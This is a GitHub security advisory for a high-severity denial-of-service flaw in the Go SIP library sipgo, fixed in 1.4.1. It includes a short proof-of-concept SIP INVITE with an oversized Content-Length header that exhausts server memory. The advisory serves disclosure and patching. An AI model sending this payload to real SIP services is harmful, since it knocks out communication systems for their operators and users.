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SIPGO: DoS via unvalidated Content-Length in the stream parser

High severity GitHub Reviewed Published Jun 30, 2026 in emiago/sipgo • Updated Sep 22, 2026

Package

gomod github.com/emiago/sipgo (Go)

Affected versions

<= 1.4.0

Patched versions

1.4.1

Description

Summary

The stream parser allocates the SIP body buffer from the Content-Length header before validating its size, which can lead to an unauthenticated DoS.

Details

ParserStream.parseSingle allocates the body buffer from the declared Content-Length with no size check (https://github.com/emiago/sipgo/blob/v1.4.0/sip/parser_stream.go#L195):

body := make([]byte, contentLength)   // contentLength is client-controlled, up to 2^32-1 (uint32)

The ParseMaxMessageLength (65535) check is in the caller ParseNext (https://github.com/emiago/sipgo/blob/v1.4.0/sip/parser_stream.go#L132), and only runs after parseSingle has already allocated the buffer.

PoC

Tested on emiago/sipgo v1.4.0 (latest).

Send a single message with a large Content-Length and no body to a SIP server:

INVITE sip:victim@example.com SIP/2.0
Via: SIP/2.0/TCP attacker.example;branch=z9hG4bK1
From: <sip:attacker@attacker.example>;tag=1
To: <sip:victim@example.com>
Call-ID: 1@attacker.example
CSeq: 1 INVITE
Content-Length: 4000000000                     // <- a large Content-Length

Suggested Fix

Validate contentLength against ParseMaxMessageLength before the allocation.

Impact

Unauthenticated DoS. Any service using sipgo with a stream transport (TCP/TLS/WS/WSS) can be forced to run out of memory.

References

@emiago emiago published to emiago/sipgo Jun 30, 2026
Published to the GitHub Advisory Database Sep 22, 2026
Reviewed Sep 22, 2026
Last updated Sep 22, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(47th percentile)

Weaknesses

Memory Allocation with Excessive Size Value

The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated. Learn more on MITRE.

CVE ID

CVE-2026-58268

GHSA ID

GHSA-pg59-5vwg-4jxq

Source code

Credits

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